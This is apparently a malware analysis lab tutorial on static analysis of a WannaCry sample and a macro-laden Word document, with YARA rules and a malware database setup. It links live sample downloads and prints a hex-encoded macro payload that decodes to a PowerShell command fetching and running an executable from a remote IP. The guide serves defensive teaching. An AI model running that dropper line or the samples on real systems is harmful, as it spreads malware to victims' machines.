Static Analysis v2

############################
# Download the Analysis VM #
############################
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
user: infosecaddicts
pass: infosecaddicts



- Log in to your Ubuntu system with the username 'infosecaddicts' and the password 'infosecaddicts'.


###################################
# Setting up your virtual machine #
###################################

Here is where we will setup all of the required dependencies for the tools we plan to install
---------------------------Type This-----------------------------------
sudo apt update
sudo apt-get install -y python3-pip python3-dev unzip python3-setuptools ipython3 build-essential python-pefile python2.7 python-pip python-setuptools mysql-server python-mysqldb python-mysqldb


sudo pip install -U olefile


git clone https://github.com/Te-k/pe.git
cd pe
sudo python3 setup.py install
pip3 install .
cd ..
wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
     infected
-----------------------------------------------------------------------




################
# The Scenario #
################
You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).


The fastest thing you can do is perform static analysis.



###################
# Static Analysis #
###################

- After logging please open a terminal window and type the following commands:


---------------------------Type This-----------------------------------
cd ~

mkdir static_analysis

cd static_analysis

wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip

unzip wannacry.zip
     infected

file wannacry.exe

mv wannacry.exe malware.pdf

file malware.pdf

mv malware.pdf wannacry.exe

hexdump -n 2 -C wannacry.exe

----------------------------------------------------------------------


***What is '4d 5a' or 'MZ'***
Reference:
http://www.garykessler.net/library/file_sigs.html




---------------------------Type This-----------------------------------
objdump -x wannacry.exe

strings wannacry.exe

strings wannacry.exe | grep -i dll

strings wannacry.exe | grep -i library

strings wannacry.exe | grep -i reg

strings wannacry.exe | grep -i key

strings wannacry.exe | grep -i rsa

strings wannacry.exe | grep -i open

strings wannacry.exe | grep -i get

strings wannacry.exe | grep -i mutex

strings wannacry.exe | grep -i irc

strings wannacry.exe | grep -i join

strings wannacry.exe | grep -i admin

strings wannacry.exe | grep -i list
----------------------------------------------------------------------





---------------------------Type This-----------------------------------
pe info wannacry.exe
pe check wannacry.exe
pe dump --section text wannacry.exe
pe dump --section data wannacry.exe
pe dump --section rsrc wannacry.exe
pe dump --section reloc wannacry.exe
strings rdata | less
strings rsrc | less
strings text | less
----------------------------------------------------------------------








Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"

Quick Google search for "wannacry ransomeware analysis"


Reference
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/

- Yara Rule -


Strings:
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
$s2 = “Wanna Decryptor” wide ascii nocase
$s3 = “.wcry” wide ascii nocase
$s4 = “WANNACRY” wide ascii nocase
$s5 = “WANACRY!” wide ascii nocase
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase








Ok, let's look for the individual strings


---------------------------Type This-----------------------------------
strings wannacry.exe | grep -i ooops

strings wannacry.exe | grep -i wanna

strings wannacry.exe | grep -i wcry

strings wannacry.exe | grep -i wannacry

strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
----------------------------------------------------------------------
















####################################
# Tired of GREP - let's try Python #
####################################
Decided to make my own script for this kind of stuff in the future. I

Reference1:
https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py

This is a really good script for the basics of static analysis

Reference:
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html


This is really good for showing some good signatures to add to the Python script


Here is my own script using the signatures (started this yesterday, but still needs work):
https://pastebin.com/guxzCBmP



---------------------------Type This-----------------------------------
wget https://pastebin.com/raw/guxzCBmP


mv guxzCBmP am.py


vi am.py

python2.7 am.py wannacry.exe
----------------------------------------------------------------------



##############
# Yara Ninja #
##############

Reference:
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/

----------------------------------------------------------------------------
rule wannacry_1 : ransom
{
    meta:
        author = "Joshua Cannell"
        description = "WannaCry Ransomware strings"
        weight = 100
        date = "2017-05-12"

    strings:
        $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
        $s2 = "Wanna Decryptor" wide ascii nocase
        $s3 = ".wcry" wide ascii nocase
        $s4 = "WANNACRY" wide ascii nocase
        $s5 = "WANACRY!" wide ascii nocase
        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase

    condition:
        any of them
}

----------------------------------------------------------------------------
rule wannacry_2{
    meta:
        author = "Harold Ogden"
        description = "WannaCry Ransomware Strings"
        date = "2017-05-12"
        weight = 100

    strings:
        $string1 = "msg/m_bulgarian.wnry"
        $string2 = "msg/m_chinese (simplified).wnry"
        $string3 = "msg/m_chinese (traditional).wnry"
        $string4 = "msg/m_croatian.wnry"
        $string5 = "msg/m_czech.wnry"
        $string6 = "msg/m_danish.wnry"
        $string7 = "msg/m_dutch.wnry"
        $string8 = "msg/m_english.wnry"
        $string9 = "msg/m_filipino.wnry"
        $string10 = "msg/m_finnish.wnry"
        $string11 = "msg/m_french.wnry"
        $string12 = "msg/m_german.wnry"
        $string13 = "msg/m_greek.wnry"
        $string14 = "msg/m_indonesian.wnry"
        $string15 = "msg/m_italian.wnry"
        $string16 = "msg/m_japanese.wnry"
        $string17 = "msg/m_korean.wnry"
        $string18 = "msg/m_latvian.wnry"
        $string19 = "msg/m_norwegian.wnry"
        $string20 = "msg/m_polish.wnry"
        $string21 = "msg/m_portuguese.wnry"
        $string22 = "msg/m_romanian.wnry"
        $string23 = "msg/m_russian.wnry"
        $string24 = "msg/m_slovak.wnry"
        $string25 = "msg/m_spanish.wnry"
        $string26 = "msg/m_swedish.wnry"
        $string27 = "msg/m_turkish.wnry"
        $string28 = "msg/m_vietnamese.wnry"


    condition:
        any of ($string*)
}
----------------------------------------------------------------------------







#####################################################
# Analyzing Macro Embedded Malware                  #
#####################################################
---------------------------Type This-----------------------------------
mkdir ~/oledump

cd ~/oledump

wget http://didierstevens.com/files/software/oledump_V0_0_22.zip

unzip oledump_V0_0_22.zip

wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip

unzip 064016.zip
     infected

python oledump.py 064016.doc

python oledump.py 064016.doc -s A4 -v
 -----------------------------------------------------------------------



- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.

---------------------------Type This-----------------------------------
python oledump.py 064016.doc -s A5 -v
-----------------------------------------------------------------------

- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.

---------------------------Type This-----------------------------------
python oledump.py 064016.doc -s A3 -v

- Look for "GVhkjbjv" and you should see:

636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B

- Take that long blob that starts with 636D and finishes with 653B and paste it in:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
-----------------------------------------------------------------------



###############################
# Creating a Malware Database #
###############################
Creating a malware database (mysql)
-----------------------------------
- Step 1: Logging in
Run the following command in the terminal:
---------------------------Type This-----------------------------------
mysql -u root -p                    (set a password of 'malware')

- Then create one database by running following command:

create database malware;

exit;

wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py

vi mal_to_db.py                     (fill in database connection information)

python mal_to_db.py -i

------- check it to see if the files table was created ------

mysql -u root -p
    malware

show databases;

use malware;

show tables;

describe files;

exit;

---------------------------------


- Now add the malicious file to the DB
---------------------------Type This-----------------------------------
python mal_to_db.py -f wannacry.exe -u



- Now check to see if it is in the DB
---------------------------Type This-----------------------------------
mysql -u root -p
    malware

mysql> use malware;

select id,md5,sha1,sha256,time FROM files;

mysql> quit;